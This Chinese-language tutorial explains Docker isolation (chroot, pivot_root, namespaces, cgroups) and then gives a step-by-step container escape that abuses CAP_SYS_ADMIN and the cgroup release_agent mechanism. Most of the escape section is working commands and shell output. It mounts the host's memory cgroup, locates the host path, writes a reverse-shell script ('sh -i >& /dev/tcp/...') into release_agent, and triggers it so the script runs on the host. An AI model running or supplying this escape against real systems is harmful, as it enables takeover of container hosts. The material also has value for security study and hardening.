目录
先铺垫一下docker的隔离技术
三次名词:
chroot & pivot_root
namespace
CGroup
CAP_SYS_ADMIN逃逸
SYS_ADMIN的权限运行ubuntu容器
查看docker添加的权限
查看CapEff的具体权限
容器内挂载cgroup
查看挂载
创建cgroup类型里建一个子目录x
设置notify_on_release为值1
创建写入cmd文件
监听端口
反弹成功
chroot 就是可以改变某进程的根目录,使这个程序不能访问目录之外的其他目录。
pivot_root隔离
pivot_root把当前进程的root文件系统放在put_old目录,而使new_root成为新的root文件系统
改变当前工作目录的所有进程或线程的工作目录. 这个跟chroot的就有很大的区别,chroot是只改变即将运行的
某进程的根目录。pviot_root主要是把整个系统切换到一个新的root目录,然后去掉对之前rootfs的依赖,以便于可以umount 之前的文件系统(pivot_root需要root权限)
namespace是linux内核用来隔离内核资源的方案。 是对全局系统资源的一种封装隔离,使得处于不同 namespace 的进程拥有独立的全局系统资源,改变一个 namespace 中的系统资源只会影响当前 namespace 里的进程,对其他 namespace 中的进程没有影响。
Cgroups是control groups的缩写,是Linux内核提供的一种可以限制,记录,隔离进程组(process groups)所使用物理资源的机制.
二、作用
1、Resource limitation: 限制资源使用,比如内存使用上限以及文件系统的缓存限制
2、Prioritization: 优先级控制,比如:CPU利用和磁盘IO吞吐
3、Accounting: 一些审计或一些统计,主要目的是为了计费
4、Control: 挂起进程,恢复执行进程
先看这里在看下面!!!
Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。
命令
root@docker-virtual-machine:/# docker run -itd --cap-add=sys_admin --security-opt apparmor=unconfined 3941d3b032a8
-security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。
root@c7aec4da1e30:/# cat /proc/$$/status |grep Cap
root@docker-virtual-machine:/usr/bin# capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
root@docker-virtual-machine:/usr/bin#
漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp
,并使用mount
命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp
上。
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
其中,-t
参数表示mount的类别为cgroup,-o
表示挂载的选项。对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如cpu、memory。
root@docker-virtual-machine:/usr/bin# ls /tmp/cgrp/
cgroup.clone_children memory.kmem.tcp.failcnt memory.soft_limit_in_bytes
cgroup.event_control memory.kmem.tcp.limit_in_bytes memory.stat
cgroup.procs memory.kmem.tcp.max_usage_in_bytes memory.swappiness
cgroup.sane_behavior memory.kmem.tcp.usage_in_bytes memory.usage_in_bytes
docker memory.kmem.usage_in_bytes memory.use_hierarchy
memory.failcnt memory.limit_in_bytes notify_on_release
memory.force_empty memory.max_usage_in_bytes release_agent
memory.kmem.failcnt memory.move_charge_at_immigrate system.slice
memory.kmem.limit_in_bytes memory.numa_stat tasks
memory.kmem.max_usage_in_bytes memory.oom_control user.slice
memory.kmem.slabinfo memory.pressure_level
root@docker-virtual-machine:/usr/bin#
注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。
root@docker-virtual-machine:/usr/bin# mkdir /tmp/cgrp/x
root@docker-virtual-machine:/usr/bin# ls /tmp/cgrp/x
cgroup.clone_children memory.kmem.tcp.failcnt memory.oom_control
cgroup.event_control memory.kmem.tcp.limit_in_bytes memory.pressure_level
cgroup.procs memory.kmem.tcp.max_usage_in_bytes memory.soft_limit_in_bytes
memory.failcnt memory.kmem.tcp.usage_in_bytes memory.stat
memory.force_empty memory.kmem.usage_in_bytes memory.swappiness
memory.kmem.failcnt memory.limit_in_bytes memory.usage_in_bytes
memory.kmem.limit_in_bytes memory.max_usage_in_bytes memory.use_hierarchy
memory.kmem.max_usage_in_bytes memory.move_charge_at_immigrate notify_on_release
memory.kmem.slabinfo memory.numa_stat tasks
root@docker-virtual-machine:/usr/bin#
注意:新建cgroup子系统是为了防止影响宿主机的正常运行
命令
root@docker-virtual-machine:/tmp/cgrp/x# echo 1 > /tmp/cgrp/x/notify_no_release
-bash: /tmp/cgrp/x/notify_no_release: Permission denied
root@docker-virtual-machine:/tmp/cgrp/x# echo 1 > notify_on_release
小细节:需要跳转到x的目录才有权限
现在要找宿主机的路径因为最后要运行release_agent这个文件里面写的内容
release_agent这个文件在宿主机上用来反弹shell
命令
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件。
echo "$host_path/cmd" > /tmp/cgrp/release_agent
检查一下
应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。
root@docker-virtual-machine:/tmp/cgrp/x# echo '#!/bin/sh' > /cmd
root@docker-virtual-machine:/tmp/cgrp/x# echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd
root@docker-virtual-machine:/tmp/cgrp/x# chmod a+x /cmd
root@docker-virtual-machine:/tmp/cgrp/x# vim /cmd
root@docker-virtual-machine:/tmp/cgrp/x#
执行cmd文件
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。